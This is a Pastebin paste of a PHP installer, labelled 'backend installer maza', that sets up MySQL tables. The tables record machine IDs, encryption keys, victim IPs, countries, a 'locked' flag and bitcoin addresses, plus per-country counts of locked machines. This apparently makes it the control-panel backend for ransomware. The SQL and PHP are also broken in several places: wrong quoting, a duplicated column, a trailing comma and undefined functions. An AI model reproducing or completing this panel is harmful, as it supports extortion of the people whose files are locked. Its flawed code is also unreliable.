Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!-- //backend installer maza -->
- <?php
- if (is_readable('config.php'))
- {
- echo "config.php already exists delete it first!";
- exit();
- }
- if (isset($_POST['install']))
- {
- $dbUser = $_POST['user'];
- $dbPass = $_POST['pass'];
- $dbHost = $_POST['host'];
- $dbName = $_POST['name'];
- $user = $_POST['admin_login'];
- $md5pass = md5($_POST['admin_pass']);
- if(empty($dbUser) || empty($dbPass) || empty($dbHost) || empty($dbName) || empty($user) || empty($md5pass))
- {
- $success = false;
- }
- else
- {
- define('MYSQL_HOST', $dbHost);
- define('MYSQL_LOGIN', $dbUser);
- define('MYSQL_PASSWORD', $dbPass);
- define('MYSQL_DB', $dbName);
- define('USER', $user);
- define('PASS', $md5pass);
- define('MYSQL_DEBUG', true);
- define('TIME_DEBUG', true);
- CreateDatabase();
- CreateConfigFile();
- $success = true;
- }
- }
- function CreateDatabase()
- {
- Db_Mysql::init(MYSQL_HOST, MYSQL_LOGIN, MYSQL_PASSWORD, MYSQL_DB);
- $db = Db_Mysql::getInstance();
- $db -> query('SET NAMES "utf8" COLLATE "utf8_unicode_ci";');
- $db -> debug = 0;
- //--------------------------------------------------------------------------------------------------------
- $db -> query('DROP TABLE IF EXISTS `users`;');
- if (!$db -> query
- ("
- CREATE TABLE IF NOT EXISTS `users` (
- `machineId` int(11) unsigned NOT NULL AUTO_INCREMENT,
- `encKey` char(256) NOT NULL,
- `userIp` bigint(20) NOT NULL,
- 'firstcontact' DATE NOT NULL,
- 'locked' enum('yes','no') NOT NULL default 'yes',
- 'userCountry' char(30) NOT NULL,
- `btcAdress` char(35) unsigned NOT NULL,
- ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8;
- "))
- {
- exit;
- }
- //--------------------------------------------------------------------------------------------------------
- $db -> query('DROP TABLE IF EXISTS `stats`;');
- if (!$db -> query
- ("
- CREATE TABLE IF NOT EXISTS `stats` (
- `statLocked` char(30) NOT NULL,
- `statCountry` varchar(10) NOT NULL default '',
- `statLocked` int(11) NOT NULL,
- `statUsers` int(11) DEFAULT NULL,
- KEY `statIndex` (`statCountry`, `statLocked`, `statUsers`)
- ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8;
- "))
- {
- exit;
- }
- //--------------------------------------------------------------------------------------------------------
- $db -> close();
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement